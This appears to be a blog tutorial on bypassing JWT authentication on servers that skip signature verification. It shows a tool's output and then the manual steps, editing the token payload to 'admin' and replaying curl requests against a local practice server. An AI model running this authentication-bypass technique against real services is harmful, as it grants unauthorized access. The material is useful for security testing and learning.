Why?
Bypassing authentication is a major win as an attacker.
When?
Test for this exploit against all JWT implementations. It's so fast to do.
How?
Use the tool I've written, jwt_attack. Alternatively, make a whitespace modification to the header or payload, and use the unmodified signature. If the modified JWT is accepted then that means you can craft any payload you want.
Safe practice
The jwt_attack repo comes with a vulnerable server that you can attack.
Using jwt_attack
We pass the entire curl statement along with our desired JWT payload:
python3 jwt_attack.py --target-payload '{"username":"admin"}' \
curl http://localhost:5000/signature_not_verified \
-H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
We get back a token for our desired JWT payload as well as the curl statement to use:
Testing for identical results...
Attempting attack: signature not verified ... SUCCESS
Attempting attack: none algorithm allowed ... FAILURE
Successful JWT:
{
"token": "eyJhbGciOiAiSFMyNTYiLCAicmFuZG9tIjogMC45ODM4NzE4NTA0NzEyODk5fQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU",
"header": {
"alg": "HS256",
"random": 0.9838718504712899
},
"payload": {
"username": "admin"
},
"signature": "8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU"
}
Successful curl command:
curl http://localhost:5000/signature_not_verified -H 'Authorization: eyJhbGciOiAiSFMyNTYiLCAicmFuZG9tIjogMC45ODM4NzE4NTA0NzEyODk5fQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
By hand
First let's decode the payload:
echo 'eyJ1c2VybmFtZSI6ICJndWVzdCJ9' | base64 -d
{"username": "guest"}
Now we add some whitespace:
echo '{"username": "guest" }' | base64
eyJ1c2VybmFtZSI6ICJndWVzdCIgfQo=
Note that we have to be careful here because JWTs use a URL-safe variation of base64 encoding. In this case it means simply dropping the padding.
We put our token back together and retest our curl statement:
curl http://localhost:5000/signature_not_verified \
-H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJndWVzdCIgfQo.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
We see the same response as we do with the unmodified token. So now we know we can make changes to our payload!
<p>Not quite. Your username needs to be admin.</p>
echo '{"username": "admin"}' | base64
eyJ1c2VybmFtZSI6ICJhZG1pbiJ9Cg==
Once against we reassemble our JWT and issue our new curl statement:
curl http://localhost:5000/signature_not_verified \
-H 'Authorization: eyJhbGciOiAiSFMyNTYifQ.eyJ1c2VybmFtZSI6ICJhZG1pbiJ9Cg.8M9vvlmK1mLe13Wa6vVMq2nCz3_jRXss-0gLTGq6JAU'
We're in!
<p>Success! Your username is admin.</p>
Art licensed under Creative Commons by OpenClipart-Vectors
Top comments (0)